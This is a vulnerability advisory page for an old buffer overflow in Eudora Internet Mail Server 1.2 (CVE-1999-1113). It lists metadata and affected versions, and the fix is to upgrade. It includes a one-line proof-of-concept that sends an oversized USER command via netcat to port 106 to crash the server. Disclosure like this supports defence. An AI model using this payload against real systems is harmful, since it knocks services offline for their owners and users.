Eudora Internet Mail Server Buffer Overflow Vulnerability

BID:75

Info

Eudora Internet Mail Server Buffer Overflow Vulnerability

Bugtraq ID: 75
Class: Boundary Condition Error
CVE: CVE-1999-1113
Remote: Yes
Local: No
Published: Apr 14 1998 12:00AM
Updated: Jul 11 2009 12:16AM
Credit: Published as "MacOS based buffer overflows..." by Netstat Webmaster <[email protected]> on April 14, 1998. Fix information for this problem was forwarded to SecurityFocus by Glenn Anderson <[email protected]> on July 14, 1999.
Vulnerable: Qualcomm Eudora Internet Mail Server 1.2
Not Vulnerable: Qualcomm Eudora Internet Mail Server 2.0.1
- Apple Open Transport 1.1.2
Qualcomm Eudora Internet Mail Server 2.0

Discussion

Eudora Internet Mail Server Buffer Overflow Vulnerability

There appears to be a buffer overflow in Qualcomm's Eudora Internet Mail Server. If you connect to its TCP port number 106 and issue the USER command followed by a string over than a thousand bytes in length the server will crash possibly taking down the machine with it.

Exploit / POC

Eudora Internet Mail Server Buffer Overflow Vulnerability

$ echo USER `perl -e 'print "A"x2048'` | nc target.host.com 106

Solution / Fix

Eudora Internet Mail Server Buffer Overflow Vulnerability

Solution:
This bug is fixed in EIMS 1.2.1 and later. EIMS 1.3.1 is the current version, it is available from http://www.eudora.com/freeware/servers.html

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Eudora Internet Mail Server Buffer Overflow Vulnerability

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